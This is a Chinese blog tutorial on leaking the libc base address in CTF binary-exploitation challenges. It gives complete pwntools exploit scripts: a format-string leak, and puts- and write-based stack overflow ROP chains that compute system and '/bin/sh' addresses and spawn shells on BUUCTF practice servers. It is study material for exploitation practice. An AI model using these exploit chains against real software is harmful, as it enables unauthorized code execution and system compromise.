泄漏libc基地址

2024-06-02 01:12
文章标签 地址 泄漏 libc

本文主要是介绍泄漏libc基地址,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

拿libc基地址

方法一:格式化字符串

  1. 格式化字符串,首先确定输入的 AAAA 在栈上的位置(x)。
  2. 使用 elf.got[fun] 获得got地址。
  3. 利用格式化字符串,构造payload泄漏got地址处的值,recv接受到的字符串中,[4:8]即为fun函数的地址fun_addr。
    • payload = p32(got) + b’%x$s’
    • fun_address = u32(p.recvuntil(b’\xf7’)[4:8])
  4. 利用 LibcSearcher 选择libc的版本。
  5. 最后计算libc的基地址: libcbase = fun_addr - libc.dump(“fun”)
  6. 最后根据基地址libcbase即可计算system函数的绝对地址:
    • sys_addr = libcbase + libc.dump(“system”)
    • sh_addr = libcbase + libc.dump(“str_bin_sh”)
  7. 最后根据获得到的地址即可构造ROP链。
实例:
from pwn import *
from LibcSearcher import *
p=process("./test3")
elf=p.elffun_name="read"#get the fun'got_address
fun_got=elf.got[fun_name]  #0x804c004
fun_plt=elf.plt[fun_name]  #0x8049040
print(hex(fun_got),hex(fun_plt))p.recvuntil(b"hello\n")#yichu
payload = p32(0x804c004) + b'%10$s'
p.sendline(payload)fun_address = u32(p.recvuntil(b'\xf7')[4:8])
print("fun_address:",hex(fun_address))#base_address
libc = LibcSearcher(fun_name,fun_address)
libc_base = fun_address - libc.dump(fun_name)
print("libc_base :",hex(libc_base))#get system address and shell address
sys_address = libc_base + libc.dump('system')
sh_address  = libc_base + libc.dump('str_bin_sh')
print("system address:",hex(sys_address))
print("bin_sh address:",hex(sh_address))

方法二:栈溢出

image-20240529174702310

  1. 利用 puts函数 ,泄漏一个函数的got地址,然后输出got地址处的数据,即为该函数的真实地址。
  2. 首先确定栈溢出的位置:ida中查看栈的位置,确定好溢出的偏移。

image-20240529175118360

  1. 使用 ELF.got[fun_name],ELF.plt[‘puts’] ,泄漏 fun_name的got地址和 puts函数的plt地址

  2. 利用栈溢出、got地址、puts函数的plt地址来输出got地址处的值,即fun_name函数的地址:

    • 64位下puts参数传递:利用 rdi寄存器 传递参数,使用指令 **ROPgadget --binary xxx --only ‘pop|ret’ ** 拿到ret_addr用来给rdi传参。
    • 构造 payload = b’a’*(offset)+p64(ret_addr)+p64(got)+p64(puts_plt)+p64(ret)
    • 其中 got 是给调用puts函数是传递的参数,puts_plt是用来调用puts函数,最后ret是执行完puts函数后返回的地址可斟酌选择。(一般用 puts函数 输出 puts函数的地址
    • sendline完成,recv接受fun_name函数的地址: addr=u64(p.recv(6).ljust(0x8,b’\x00’)),其中recv(6)表示只接受6字节的数据, ljust 将接受到的数据 左对齐 ,并且 长度位8个字节 (保证u64转化位无符号整数时满64bit即8字节,否则会报错),不足的用00补充。
    • 然后同样使用 libc = LibcSearcher(‘puts’,addr),libcbase = addr - libc.dump(‘puts’) 选择libc版本计算libc的基地址libcbase。
    • 最后计算 system函数str_bin_sh 的地址:
      • sys_addr = libcbase + libc.dump(‘system’),sh_addr = libcbase + libc.dump(‘str_bin_sh’)

    image-20240529180635845

    实例:
    1. 题目:BUUCTF在线评测 (buuoj.cn)

    2. EXP:

      from pwn import *
      from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')p=remote("node5.buuoj.cn",29996)elf = ELF('./ciscn_2019_c_1')
      ret_address = 0x400c83got = elf.got['puts']		#0x602020
      plt = elf.plt['puts']
      #print(hex(got))
      main_address = 0x400B28
      p.recv()
      p.sendline(b'1')
      p.recvuntil(b"encrypted\n")payload = (b'a'*(0x50+8))+p64(ret_address)+p64(got)+p64(plt)+p64(main_address)
      p.sendline(payload)
      p.recvuntil(b'Ciphertext\n')
      p.recvuntil(b'\n')
      addr=u64(p.recv(6).ljust(0x8,b'\x00'))
      print(hex(addr))
      libc = LibcSearcher('puts',addr)
      libcbase = addr - libc.dump('puts')
      print(hex(libcbase))
      sys_addr = libcbase + libc.dump('system')
      sh_addr = libcbase + libc.dump('str_bin_sh')p.recv()
      p.sendline(b'1')
      p.recvuntil(b"encrypted\n")
      payload = b'a'*0x58+p64(ret_address)+p64(sh_addr)+p64(0x4006B9)+p64(sys_addr)
      p.sendline(payload)
      p.interactive()

方法3:

1. write函数溢出(题目里面给出libc的版本)
  1. 利用write函数的got表和plt表,溢出得到write函数的地址,在计算得到libc_base基地址。

  2. 先看汇编下调用write函数时参数的传递:(以32位为例)长度+地址+1 构造栈时反过来 1+地址+长度

    image-20240530091712374

  3. 溢出EXP:

    #启动题目所给的so文件,so文件需要在同一目录下
    libc=ELF('libc-2.23.so')
    got = elf.got['write']
    plt = elf.plt['write']
    main_addr = 0x08048825#构造payload,利用write函数输出write函数的实际地址
    payload = b'a'*(0xe7+4)+p32(plt)+p32(main_addr)+p32(1)+p32(got)+p32(4)
    p.sendline(payload)
    #接受返回的地址
    addr = u32(p.recv(4).ljust(4,b'\x00'))
    print(hex(addr))
    
  4. 利用返回的地址计算liba_base,sys_addr,bin_addr地址:

    #计算基地址libabase
    libcbase = addr - libc.sym['write']
    #拿到sys_addr和bin_addr
    sys_addr = libcbase + libc.sym['system']
    str_sh   = libcbase + next(libc.search('/bin/sh'))
    print(hex(sys_addr),hex(str_sh))#最后利用计算的函数地址和'bin/sh'地址,栈溢出构造ROP
    payload = b'a'*(0xe7+4)+p32(sys_addr)+p32(0)+p32(str_sh)
    p.sendline(payload)
    p.interactive()
    
2. write函数溢出(题目没给给出libc的版本)
  1. 题目地址:BUUCTF在线评测 (buuoj.cn)

  2. 题目没有提供后门函数,但是给了栈溢出和write函数调用:

    image-20240601105706072

    image-20240601104919755

  3. 这里可以利用vulnerable_function函数进行栈溢出,利用write函数泄漏write函数的地址,从而拿到libc,使用write函数泄漏write函数地址时(puts函数同理),即使程序在前面 没有调用过write函数 ,也可以 直接利用栈溢出 泄漏,因为在栈溢出时,程序会先解析write函数的地址将其填入got表项中:

    from pwn import *
    from LibcSearcher import *context(os='linux', arch='i386', log_level='debug')p=remote("node5.buuoj.cn",28334)
    elf=ELF('./2018_rop')
    got = elf.got['write']
    plt = elf.plt['write']
    print(hex(got),hex(plt))
    main_addr = 0x080484C6#这里程序会跳转到write函数的plt表,由于先前没有调用过write函数,所以此时write函数的got表还未填充地址,要调用write函数,程序会先解析write函数的地址(此时wrie函数的got表会更新),也就能泄漏write函数的地址了。
    payload = b'a'*(0x88+4)+p32(plt)+p32(main_addr)+p32(1)+p32(got)+p32(4)
    p.sendline(payload)
    addr = u32(p.recv())
    print(hex((addr)))libc = LibcSearcher('write',addr)
    liba_base = addr - libc.dump('write')
    sys_addr = liba_base + libc.dump('system')
    sh_addr  = liba_base + libc.dump('str_bin_sh')
    print(hex(liba_base),hex(sys_addr),hex(sh_addr))payload = b'a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(sh_addr)
    p.sendline(payload)p.sendline(b'cat flag')
    p.interactive()

    image-20240601110334585

这篇关于泄漏libc基地址的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1022622

相关文章

常用的jdk下载地址

jdk下载地址 安装方式可以看之前的博客: mac安装jdk oracle 版本:https://www.oracle.com/java/technologies/downloads/ Eclipse Temurin版本:https://adoptium.net/zh-CN/temurin/releases/ 阿里版本: github:https://github.com/

webapp地址

F:\LSP\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps

Jenkins 插件 地址证书报错问题解决思路

问题提示摘要: SunCertPathBuilderException: unable to find valid certification path to requested target...... 网上很多的解决方式是更新站点的地址,我这里修改了一个日本的地址(清华镜像也好),其实发现是解决不了上述的报错问题的,其实,最终拉去插件的时候,会提示证书的问题,几经周折找到了其中一遍博文

PHP内存泄漏问题解析

内存泄漏 内存泄漏指的是在程序运行过程中申请了内存,但是在使用完成后没有及时释放的现象, 对于普通运行时间较短的程序来说可能问题不会那么明显,但是对于长时间运行的程序, 比如Web服务器,后台进程等就比较明显了,随着系统运行占用的内存会持续上升, 可能会因为占用内存过高而崩溃,或被系统杀掉 PHP的内存泄漏 PHP属于高级语言,语言级别并没有内存的概念,在使用过程中完全不需要主动申请或释放内

【干货分享】基于SSM的体育场管理系统的开题报告(附源码下载地址)

中秋送好礼 中秋佳节将至,祝福大家中秋快乐,阖家幸福。本期免费分享毕业设计作品:《基于SSM的体育场管理系统》。 基于SSM的体育场管理系统的开题报告 一、课题背景与意义 随着全民健身理念的深入人心,体育场已成为广大师生和社区居民进行体育锻炼的重要场所。然而,传统的体育场管理方式存在诸多问题,如资源分配不均、预约流程繁琐、数据统计不准确等,严重影响了体育场的使用效率和用户体验。

Exchange 服务器地址列表的配置方法与注意事项

Exchange Server 是微软推出的一款企业级邮件服务器软件,广泛应用于企业内部邮件系统的搭建与管理。配置 Exchange 服务器地址列表是其中一个关键环节。本文将详细介绍 Exchange 服务器地址列表的配置方法与注意事项,帮助系统管理员顺利完成这一任务。 内容目录 1. 引言 2. 准备工作 3. 配置地址列表 3.1 创建地址列表 3.2 使用 Exchange

匹配电子邮件地址的正则表达式

这个正则表达式 QRegularExpression regex(R"((\w+)(\.|_)?(\w+)@(\w+)(\.(\w+))+))"); 用于匹配电子邮件地址的格式。下面是对这个正则表达式的逐步解析和解释: 1. QRegularExpression 构造函数 QRegularExpression regex(R"((\w+)(\.|_)?(\w*)@(\w+)(\.(\w+))+

[Linux]:环境变量与进程地址空间

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 环境变量 1.1 概念 **环境变量(environment variables)**一般是指在操作系统中用来指定操作系统运行环境的一些参数,具有全局属性,可以被子继承继承下去。 如:我们在编写C/C++代码的时,在链接的时候,我们并不知

C# 如何同时Ping多个IP地址

在C#中,如果需要同时ping多个IP地址,可以采用多线程或异步编程的方式来实现,以便可以同时进行多个ping操作。以下是两种常用的方法: 方法一:使用多线程(Task 或 Thread) 使用Task是更现代和推荐的方式,因为它内置了更好的线程管理和异常处理机制。以下是一个使用Task的示例,展示如何同时ping多个IP地址: using System; using System.Co

Modbus从基地址 1 和基地址 0 开始的区别

Modbus 是一种应用于工业自动化领域的通信协议,在设备之间进行数据交换。它支持多种数据类型(如线圈、离散输入、输入寄存器、保持寄存器),每种数据类型都有特定的地址范围。在使用 Modbus 通信时,设备的地址可以从 1 或 0 开始计数,这取决于具体实现。这种不同的基地址(1 或 0)选择,可能导致实际读取或写入的地址存在偏差,因此理解其差异是十分重要的。 1. Modbus 地址的基本概念